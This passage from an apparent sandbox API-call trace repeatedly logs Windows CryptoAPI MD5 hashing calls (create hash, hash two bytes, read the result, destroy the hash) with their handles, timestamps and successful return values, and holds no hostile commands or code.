	[0126.184] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.184] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.185] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.185] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.185] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.185] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.185] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.185] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.185] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.185] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.185] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.185] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.185] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.185] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.185] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.185] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.185] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.186] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.186] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.186] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.186] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.186] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.186] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.186] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.186] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.186] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.186] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.186] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.186] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.186] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.186] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.186] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.187] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.187] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.187] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.187] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.187] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.187] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.187] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.187] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.187] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.187] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.187] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.187] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.188] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.188] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.188] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.188] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.188] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.188] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.188] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.188] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.188] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.188] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.188] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.188] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.188] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.188] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.189] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.189] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.189] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.189] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.189] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.189] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.189] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.189] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.189] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.189] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.189] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.189] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.189] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.190] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.190] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.190] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.190] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.190] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.190] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.190] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.190] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.190] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.190] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.190] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.190] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.190] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.190] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.190] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.190] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.191] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.191] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.191] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.191] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.191] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.191] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.191] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.191] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.191] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.191] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.191] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.191] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.191] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.192] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.192] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.192] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.192] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.192] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.192] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.192] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.192] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.192] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.192] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.192] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.192] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.192] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.192] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.192] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.192] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.193] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.193] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.193] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.193] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.193] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.193] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.193] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.193] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.193] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.193] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.193] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.193] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.193] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.193] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.193] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.193] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.194] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.194] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.194] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.194] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.194] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.194] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.194] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.194] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.194] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.194] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.194] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.194] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.194] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.194] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.194] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.194] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.195] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.195] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.195] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.195] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.195] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.195] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.195] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.195] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.195] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.195] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.195] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.195] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.195] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.195] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.195] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.195] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.196] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.196] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.196] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.196] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.196] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.196] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.196] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.196] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.196] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.196] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.196] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.196] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.196] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.196] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.196] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.196] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.196] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.197] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.197] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.197] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.197] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.197] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.197] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.197] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.197] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.197] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.197] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.197] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.197] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.197] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.197] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.197] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.198] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.198] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.198] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.198] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.198] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.198] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.198] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.198] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.245] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.245] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.246] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.246] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
